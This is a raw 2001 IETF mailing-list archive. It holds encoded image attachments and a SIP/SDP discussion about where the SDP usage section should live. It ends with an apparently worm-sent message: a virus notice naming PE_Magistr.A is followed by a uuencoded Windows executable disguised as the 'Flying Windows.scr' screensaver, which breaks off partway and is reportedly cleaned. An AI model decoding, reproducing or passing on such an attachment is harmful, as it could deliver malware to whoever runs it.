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
ED/xEl/xirgAAQEAOw==

------=_NextPart_000_0001_01C14079.BFC90F90
Content-Type: image/gif;
	name="jump-trd.gif"
Content-Transfer-Encoding: base64
Content-ID: <964243918@18092001-2683>

R0lGODlhYgBOALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/
/////yH5BAEAAA0ALAAAAABiAE4AAAT+sMlJq7046827/2AojmRpAWhqruyYDkssA21tnwAs70BM
38DSazf7NVDBJChFLFKMyqgm1ywSez6oVIqaNbFVZEe1JYG9VZ54itItBiltGdO1Ls7ODz68np94
gFcSTHcZe2lZfhVneAhXdYJ/RZB3j3JbWJQyjohxF4dXnYpHfD5pZJ9ZmpWId5dJlLGRG6BZp3iv
QWB7jLGpp61xPHOEVZysM7/FkKs+EsN+zYd9FG62t7ykztGauLm4rdt4z4mjkNa52sGrg4xHmaPv
YVPhk4DkMhPw8d2GaXBUkjUQxKxdj3RRfEn68qSXO3nb3sXTp2YNKDmEfkBqSA0Iwjj+cdzAsTZr
kUBtCHW1W0SyHkNDqCROfKcxoEtRM83oq3VTBpycK5r15ANUDxIADx7wHAqt6JSkKJJCZeryp9NP
SrNqVUrVZcqJSKEiDSu0a0mgIJmEneq161cu65QutTW3Cdgh9Q7uKoYGmVdzZm92OcgUcCnBpQYz
fVuj7JuWRSCbqjvPXBs+Nl0FvjlgJlnHpjb/5QdVLGbRgsGWlpo2M+pwnVl0ZHNELGUiI1Ez9rd7
ENR2nC0Ko/rVU6reMnciAkiPOIeHFgo1bj170CCflFOSxCjdcwpHaldlpGWnz0F+auk+6nve3xuK
qtoD1huaMBpG3ZU9qTyf1S6/fJ3LdIEOWuCSk16EUefXWfu9Z5JxB84CzinuxdYgcrAME2At30R0
VERoWbIgh+4Z0UMDBF7lTWh9vaTfdQKGGMiIOA0IIoROTUgjhRikeFUGx7B42yu7/EjHFy2G0pRJ
IBoJ34ydtHRJkU4yGcZhLjaYX5XqIOklf9XEYCGXMH5xW4woNsnlNGWKKVmTVJL5pIci1pimmmTu
NaeJrQAkkpypWFWmoKAxCGhywAkK3GiHjlHdUoo2GlQOLUUqaQutXarpppx26umnoGIQAQAAOw==

------=_NextPart_000_0001_01C14079.BFC90F90--

From confctrl-owner  Tue Sep 18 23:15:26 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA06089
	for confctrl-outgoing; Tue, 18 Sep 2001 23:15:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA06084
	for <confctrl@zephyr.isi.edu>; Tue, 18 Sep 2001 23:15:24 -0700 (PDT)
Received: from mail1.dynamicsoft.com ([63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8J6FXv10820;
	Tue, 18 Sep 2001 23:15:33 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f8J6Dp8P003500;
	Wed, 19 Sep 2001 02:13:51 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <R9F8ZPM6>; Wed, 19 Sep 2001 02:14:48 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D68B6@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Colin Perkins'" <csp@ISI.EDU>,
        Tom-PT Taylor
	 <taylor@nortelnetworks.com>
Cc: "'sip@ietf.org'" <sip@ietf.org>, confctrl@ISI.EDU
Subject: RE: [Sip] Re: Issue #163: "where does SDP section live"
Date: Wed, 19 Sep 2001 02:14:46 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I believe we did agree during mmusic at IETF 51 to make it a separate
document.

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com
 

> -----Original Message-----
> From: Colin Perkins [mailto:csp@isi.edu]
> Sent: Monday, September 10, 2001 8:26 PM
> To: Tom-PT Taylor
> Cc: 'sip@ietf.org'; confctrl@isi.edu
> Subject: [Sip] Re: Issue #163: "where does SDP section live"
> 
> 
> A common document would seem to make sense, if possible. I 
> don't think it
> should be part of the SDP revision: that ties SDP to one 
> negotiation model,
> which might not be appropriate for all scenarios.
> 
> Colin
> 
> 
> 
> 
> --> "Tom-PT Taylor" writes:
> >I've clipped this description from Rohan Mahy's note, 
> assuming it reflects
> >Jonathan's statement: 
> >
> > >#163 "where does SDP section live"
> > >Issues: SIP spec has an appendix with SDP usage;
> > >Not really a SIP issue at all;
> > >Other descriptions will come along;
> > >Sync issue with SDP spec;
> > >Beefiness of SIP spec already
> > >Some ideas: Separate RFC, Incorporate into SDP revision, 
> Keep it as it is
> > >Proposal: Keep it as it is
> >
> >The implication of the decision on this issue is either that 
> the negotiation
> >model for SDP is application-specific (implication if the 
> SDP annex stays)
> >or that the negotiation model is general (implication if the 
> annex becomes a
> >separate document in MMUSIC).
> >
> >Megaco might be a bit different if a general document on SDP 
> negotiation had
> >been available in 1999.  As it is, we built specific support 
> for our model
> >into the Megaco protocol.
> >
> >My point is that we should consider what is the best approach looking
> >forward.  When SDPng comes along, will we again face the necessity of
> >defining how it is used with each application, or will it be 
> possible to
> >define a common view?
> >
> >My personal preference is for a common document.  I think it 
> is possible,
> >although it may contain different sections governing the operation of
> >different functions.  For example, there may be a difference 
> in the model
> >used to reveal capabilities (a Megaco requirement), as opposed to
> >negotiating a specific media flow (a requirement common to 
> Megaco and SIP).
> >
> >Tom Taylor
> >taylor@nortelnetworks.com
> >Ph. +1 613 736 0961 (ESN 396 1490)
> 
> _______________________________________________
> Sip mailing list  http://www1.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip
> 

From confctrl-owner  Wed Sep 19 07:05:44 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA24390
	for confctrl-outgoing; Wed, 19 Sep 2001 07:05:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA24376
	for <confctrl@zephyr.isi.edu>; Wed, 19 Sep 2001 07:05:42 -0700 (PDT)
Received: from cse.cuhk.edu.hk (cucs18.cse.cuhk.edu.hk [137.189.91.190])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8JE5pv23611
	for <confctrl@isi.edu>; Wed, 19 Sep 2001 07:05:52 -0700 (PDT)
Received: from smtp.cse.cuhk.edu.hk (discovery.cs.cuhk.hk [137.189.90.240]) by cse.cuhk.edu.hk  with SMTP id f8JE4wB13921; Wed, 19 Sep 2001 22:04:59 +0800 (HKT)
Date: Wed, 19 Sep 2001 22:04:59 +0800 (HKT)
Message-Id: <200109191404.f8JE4wB13921@cse.cuhk.edu.hk>
FROM: kenny <lstong@cse.cuhk.edu.hk>
SUBJECT: Scope3 MarchSystem DesignEarly AprMid-project 
X-MSMail-Priority: Normal
X-Priority: 3
X-Mailer: Microsoft Outlook Express 5.00.2615.200
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_00D3_01E26BE3.AD6BE380"
Content-Transfer-Encoding: 7bit
To: undisclosed-recipients:;
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_00D3_01E26BE3.AD6BE380
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

------------------  Virus Warning Message (on cucs18.cs.cuhk.hk)

Found virus PE_Magistr.A in file Flying Windows.scr
The file is cleaned.

If you have questions, contact administrator (root@cse.cuhk.edu.hk).

---------------------------------------------------------

------=_NextPart_000_00D3_01E26BE3.AD6BE380
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

JuneDocumentation completed30 JuneProject completionProject MeetingDateSummary18 JanDiscuss what platforms and development tools to use, features, functions, workflow and initial project scope. Brainstorm for ideas.30 JanDetermine initial schedule and further discuss functions and features to be included in the project.
------=_NextPart_000_00D3_01E26BE3.AD6BE380
Content-Type: application/octet-stream ; name="Flying Windows.scr"
Content-Transfer-Encoding: x-uuencode

begin 666 Flying Windows.scr
M35J0``,````$````__\``+@`````````0```````````````````````````
M````````````````````@`````X?N@X`M`G-(;@!3,TA5&AI<R!P<F]G<F%M
M(&-A;FYO="!B92!R=6X@:6X@1$]3(&UO9&4N#0T*)`````````!010``3`$%
M`%BK03D`````R]4``.``#@$+`0,*`!@````>````````N2,````0````,```
M``!````0`````@``!``````````$``````````!P````!```&U4!``(`````
M`!```!``````$```$````````!````````````````!```!X`````%```'@-
M`````````````````````````&```-0"````````````````````````````
M``````````````````````````````````````#,00``0`$`````````````
M`````````````````````"YT97AT````_A8````0````&`````0`````````
M`````````"```&`N9&%T80```&`#````,`````0````<````````````````
M``!```#`+FED871A``#H!P```$`````(````(```````````````````0```
M0"YR<W)C`````!````!0````#@```"@``````````````````$```$`N<F5L
M;V,````$````8`````0````V``````````````````!```#"````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````````%=I;F=D:6YG<P``
M`$1)4U!,05D`)60``$-O;G1R;VP@4&%N96Q<1&5S:W1O<````%-C<F5E;E-A
M=F5?1&%T80#_____B!M``)(;0```````R````,@2```L`0``R1(``&0```#(
M$@``90```,D2``!F````R1(`````````````BT0D!%:#^`%]!;@!````N?\`
M```[P7X"B\&9*\+1^(OPA?9U!;X!````H5@P0`"+!+"%P'5::``00`!HC#!`
M`/\5.$)``(T$=0````!H<#!``,8%AS!```+&!8@P0``$Q@6*,$```Z-P,$``
M_Q4<0D``BPU8,$``B02QBPU8,$``BP2QA<!U"&H,_Q4@0D``7L($`%6+[%97
M_W44Z%____]0BW4(5O\5)$)``(OX#[=%&`T````!4%;_%0A"0`!J`6AL,D``
M_W40_W4,5O\5#$)``%=6_Q4D0D``7UY=PA0`58OL@^QD4U97_W4(_Q4`0T``
M:`````&)1?Q0_Q4`0D``:@'_=?S_%01"0`!J'O]U_/\5&$)``(,]9#)```"A
M-#!``(E%['0)QT7P%````.LBQT7P@`(``#/V#[?&#0````%&4/\5Y$%``(E$
MM9B#_A!RYX,]U#)```!T"8M%\,'@`HE%\*%<,$``.040,4``<PC_!1`Q0`#K
M$Z%<,$``.040,4``=@;_#1`Q0`#'1?@`````@WWL``^$H@$``#/VH6PP0``#
MQHL(*PT0,4``A<E_`C/)B0BA;#!``(,\,`!U"/]U^.BZ!@``H6PP0`"+%60P
M0`"+'6`P0`"+/0`Q0`"+##"+!#)IP``*``"9]_D#V*%H,$``BP0P:<``"@``
MF??Y`_B%VWP4A?]\$#L=&#!``'\(.ST<,$``?D/_=?CH7P8``*%L,$``BQ5D
M,$``BQU@,$``BST`,4``BPPPBP0R:<``"@``F??Y`]BA:#!``(L$,&G```H`
M`)GW^0/XN``*``"+#6PP0``K!#&9]WWP0(,]9#)```")1?1T/&H`H0PQ0`"+
M%3@P0`"+#3`P0`#_-##_-#+_-#'_=?SH\/W__XL-%#!``/\T,?]U]%=3_W7\
MZ-K]___K5J$,,4``:D*+#3@P0`"+!#!04*$P,$``_S0Q_S0P_W7\_Q440D``
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
M-#!```4```!?7EO#S,S,S,S,S,S,S$U04BY$3$P`4T-24T%610!0=V1#:&%N
M9V5087-S=V]R9$$`9*$`````58OL:O]H0!!``&@@)D``4(M-$&2))0````"+
M10B#["BCS#)``%-65XEEZ,=%_`````"+1<@/O@&#^"!_$W17A<!T5KC_____
MB47\Z:T```"#^$%_#G1Z@_@M=#J#^"]T->O@@_A,?PET1H/X0W0SZ]*#^%!T
M1(/X4W1-@_AA=%&#^&-T'8/X;'0F@_AP="N#^'-T-.NM0>N<:@#HU@8``.M1
M_Q7T0D``4.C(!@``ZT/'!>@R0``!````08`Y('3Z4>A=!@``ZRMJ`.AS!```
MZR)!@#D@=/I1Z,H&``#K%/]U[/\5:$)``,.+9>AJ`.@=````@\0$QT7\____
M_XM-\%]DB0T`````7EN+Y5W"$`"#[`2-1"0`:@!0_W0D$&IA_Q5X0D``@\0$
MPU4SR8OL@^P(.0W4,D``#X6<`0``.0W8,D``#X60`0``BT4,@_@0#X1/`0``
M/0"````/A&(!```Y#=PR0``/A6T!``"#^!QW$`^$A@```(/X&'1JZ5@!``"#
M^$AW%`^$H0```(/X(`^$A@```.D_`0``/00!``!W#G1D/0`!``!T7>DJ`0``
M/0`"``!T?3T!`@``=$H]!`(``'1#/0<"``!T/#T8`@``#X2Q````/8("```/
MA+D```#I\P```(-]$``/A.D```!J`/\5C$)``.G<````@WT0``^%T@```&H`
M:@!J$/]U"/\5G$)``.F^````:@#_%8Q"0`"X`0```.GI````@WT0`^O.C47X
M4/\5B$)``(M%^"L%(#)``'0$?0+WV(M-_"L-)#)``'0$?0+WV0/!.P7\,D``
M=G1J`&H`:A#_=0C_%9Q"0`"+1?B+3?RC(#)``(D-)#)``.M2BT40@_@&<DJ#
M^`@/AF_____K/X-]$`)U.3/`ZW+_=0CH9@4``(/$!(7`=29H(#)``/\5B$)`
M`#/`ZU2AY#)``(7`=`?_=0C_T.M$N`$```#K/8M%##D%[#)``'4@,\`Y10QT
M&5!0:A#_=0C_%9Q"0`"#/>0R0``!&\!`ZQ+_=13_=1#_=0S_=0C_%81"0`"+
MY5W"$`!5B^Q65XMU#(/^#'<=#X0O`0``@_X!#X2<````@_X"#X3N````Z>8!
M``"#_E-W%`^$3`$``(/^#P^$"P$``.G-`0``@?X``0``=Q0/A&H!``"#_GL/
MA"<!``#IL0$``('^!`$```^$4`$``('^$@$```^$7P$``('^$P$```^$>`$`
M`('^``(```^"@0$``('^`0(```^&(`$``('^!`(```^$%`$``('^!P(```^$
M"`$``.E8`0``:*PR0``S__\56$)``*/P,D``.\=T(&BX,D``4/\57$)``*/T
M,D``.\=T"U?_=0C_T*/X,D``:"`R0`#_%8A"0`"#/=0R0```#X4*`0``:@#_
M%8Q"0`#I_0```(,]\#)```!T&8L-]#)``(7)=`^A^#)``(7`=`90_W4(_]%J
M`/\5F$)``.G.````,\#IU@```(,]V#)```!T%?]U%/]U$%;_=0C_%81"0`#I
MN````(,]U#)````/A9P```!J`/\5C$)``.F/````@SW4,D````^$@@```/]U
